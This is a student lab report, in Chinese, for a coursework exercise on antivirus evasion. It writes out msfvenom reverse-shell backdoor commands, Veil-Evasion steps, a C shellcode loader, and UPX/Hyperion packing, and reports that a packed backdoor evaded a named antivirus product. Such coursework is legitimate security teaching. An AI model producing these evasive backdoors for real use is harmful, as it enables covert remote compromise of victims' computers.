2019-2020-2 20175204 张湲祯《网络对抗技术》Exp3 免杀原理与实践
2019-2020-2 20175204 张湲祯《网络对抗技术》Exp3 免杀原理与实践
一、实验任务
- 1.任务一:
- 1.1正确使用msf编码器
- 1.2msfvenom生成如jar之类的其他文件
- 1.3veil
- 1.4加壳工具
- 1.5使用C + shellcode编程
- 1.6使用其他课堂未介绍方法
- 2.任务二:通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
- 3.任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
二、基础问题回答
1.杀软是如何检测出恶意代码的?
答:杀毒软件一般通过一下几种方式检测恶意代码:
- 基于特征码的检测:通过检测一个可执行文件是否包含一段或多段符合特征的数据来判断是否是恶意代码。
- 启发式恶意软件检测:根据片面特征去推断是否符合恶意代码的特征
- 基于行为的恶意检测:加入了行为监控的启发式,让软件运行,记录其行为并分析。
2.免杀是做什么?
答:通过使用某些手段和技术,使恶意代码不被杀毒软件软件发现。
3.免杀的基本方法有哪些?
答:根据杀软检测恶意软件的手段:
- 1.改变特征码
- 针对exe文件可以加壳:压缩壳 加密壳
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 用其他语言进行重写再编译(veil-evasion)
- 2.改变行为
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 3.非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
4.开启杀软能绝对防止电脑中恶意代码吗?
答:不能,就按照本次实验来说只是简单的将shellcode放入codeblock中生成执行文件在加上加密壳和压缩壳就可以躲过腾讯电脑管家的查杀;还有很多进阶方法肯定也可以免杀,而且杀毒软件也是依赖病毒库,如果恶意代码在病毒库中没有特征案例就可以躲过查杀。
三、实验内容
1.1正确使用msf编码器
- 在实验二中使用msf生成的后门程序20175204.exe在VirusTotal和Virscan这两个网站中进行扫描检测。
- 用VirusTotal扫描后结果如下:
- 重命名为zyz.exe用Virscan扫描后结果如下:(注意后门程序文件名不能带数字,否则扫描不出来)
- 从两次的扫描结果可以看出不加任何处理的后门程序大多数杀软都可以检测得到,因此用msf编码器对后门程序进行一次到多次的编码,查看编码后的检测效果。
- 使用命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.174.129 LPORT=5204 -f exe > 20175204zyz2.exe
进行一次编码生产20175204zyz2文件。
- 一次编码文件检测:
- 使用
-i
设置迭代次数,进行十次编码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.174.129 LPORT=5204 -f exe > 20175204zyz3.exe
。
- 十次编码文件检测:
- 我们可以发现多次编码对于抵抗杀软检测没有起到什么作用,因此msfvenom生成exe是有固定模版的,所有它生成的exe如果使用默认的参数或者模版也会具有固定的特征,也就无法较好抵抗杀软查杀。
1.2msfvenom生成如jar之类的其他文件
- 使用命令
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.174.129 LPORT=5204 x> zyz_backdoor_java.jar
生产java程序。
- 检测结果:
- 使用命令
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.174.129 LPORT=5204 x> 20175204_backdoor.php
生产PHP后门程序。
- 检测结果:
- 使用命令
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.174.129 LPORT=5204 x> 20175204_android_backdoor.apk
生产apk后门程序。
- 检查结果:
1.3veil
- veil安装较为顺利,中间遇到问题也很少。直接使用
sudo apt-get install veil-evasion
命令进行安装,后续遇到的所有都选择Y
直接下一步,就可以安装成功。
- 用
use evasion
命令进入Evil-Evasion
。 - 输入命令
use c/meterpreter/rev_tcp.py
进入配置页面。 - 输入命令
set LHOST 192.168.174.129
设置反弹连接IP(注意此处的IP是KaliIP); - 输入命令
set LPORT 5204
设置端口,
- 输入
generate
生成文件,playload
的名称5204-veil
,文件保存路径为:/var/lib/veil/output/compiled/5204-veil.exe
- 检测结果:
1.4使用C + shellcode编程
- 首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.174.129 LPORT=5204 -f c
生成一段shellcode
- 创建一个文件
20175204.c
,然后将unsigned char buf[]
赋值到其中:
unsigned char buf[] = (生成的shellcode)
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 输入
i686-w64-mingw32-g++ 20175204.c -o 20175204zyz.exe
将此文件编译为可执行文件
- 检测结果:
1.5加壳工具
- 加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
从技术上壳分为:
压缩壳:减少应用体积,如ASPack,UPX
加密壳:版权保护,反跟踪。如ASProtect,Armadillo
虚拟机:通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,Themida。 - 压缩壳:使用命令
upx 20175204zyz.exe -o upxed_20175204zyz.exe
- 检测结果:
- 加密壳:将upxed_20175204zyz.exe放入Hyperion目录下,输入命令:
wine hyperion.exe -v upxed_20175204zyz.exe upxed_20175204_hyperion.exe
生成。
- 检测结果:
1.6使用其他课堂未介绍方法
- 参考小组组长博客,这里用一个Veil-Evasion的其他荷载生成后门方式
- 启动veil,进入evasion,输入list查看可用的有效荷载,输入
use 29
选择了第29个荷载,是Python下shellcode在AES下加密一种。 - 开始配置,只配置用户名后就可以generate生成。
- 输入2选择shellcode平台为msfvenom,后续使用msfconsole进行反弹连接.
- 输入靶机OS/平台/连接方式
- 输入metasploit荷载
- 输入反弹连接IP:192.167.174.129
- 输入端口号:5201
- 其他msfvenom选项默认
- 输入创建的shellocode的名字:zyz20175204
- 生成的文件类型选择2,生成一个exe文件
- 生成文件
setup.py
和runme.bat
,在/var/lib/veil/output/source/
中,生成的shellcode
的rc
文件保存在handlers
中为msfconsole中需要输的指令
- 测试链接:
- 使用杀软查杀,显示为安全:
- 上传至网站检测:
2.任务二:通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
- 免杀方法:C语言编译shellcode+加密壳+压缩壳,生成文件20175204back2.exe
- 操作步骤:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.174.129 LPORT=5204 -f c
生成shellcode,在codeblocks中中编译生成exe文件后放入kali中,使用命令upx 20175204back1.exe -o 175204zyz.exe
生成压缩壳,wine hyperion.exe -v 20175204back2.exe 20175204back1.exe
生成加密壳。 - 原理:加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行,加壳后可以绕过一些杀毒软件的扫描,
- win7虚拟机中腾讯电脑管家免杀通过:
3.任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 使用生成的20175204back2.exe文件在win7虚拟机中测试,免杀通过并成功链接。
- 杀软名称:腾讯电脑管家
- 杀软版本:13.5.20525.234
四、实验问题及解决
- 问题1:安装veil时,显示错误如图所示。
- 解决方法:输入命令
/usr/share/veil/config/setup.sh --force --silent
直接自动解决了。 - 问题2:进行加密壳时,显示找不到hyperion.exe。
- 解决办法:根据同学提供的博客下载了hyperion2.2就可以用了。
- 问题3:参考同学使用别的工具免杀时,shellcode_launcher一打开就闪退....一打开就闪退..我的用不了。使用shellcode_wrapper时显示缺失pyscrypt...网上搜索相关问题后安装了一堆东西还是搞不了....
- 解决办法:那两个工具还是不能用,因此使用Veil-Evasion的其他荷载生成后门。
五、实验体会
本次实验虽然做的麻烦,下载东西查找资料博客做的头疼,但是越做越刺激.....尤其是通过免杀后那种快感简直不要太爽,通过本次实验意识到还是不能太信任杀软,生成的后门程序,主机上的McAfee能查杀到,腾讯电脑管家就直接通过了....小马哥的产品还是不给力啊.在通过网上搜索各种免杀手段时越看越刺激也越看越害怕,感觉自己下载过的软件就有网上那些免杀伪装手段,也想尝试很多方法试一试,但是好多都失败了,有时间在自己试一试感觉挺刺激的,这次实验让我更直观的认识到自身操作对系统安全的重要性。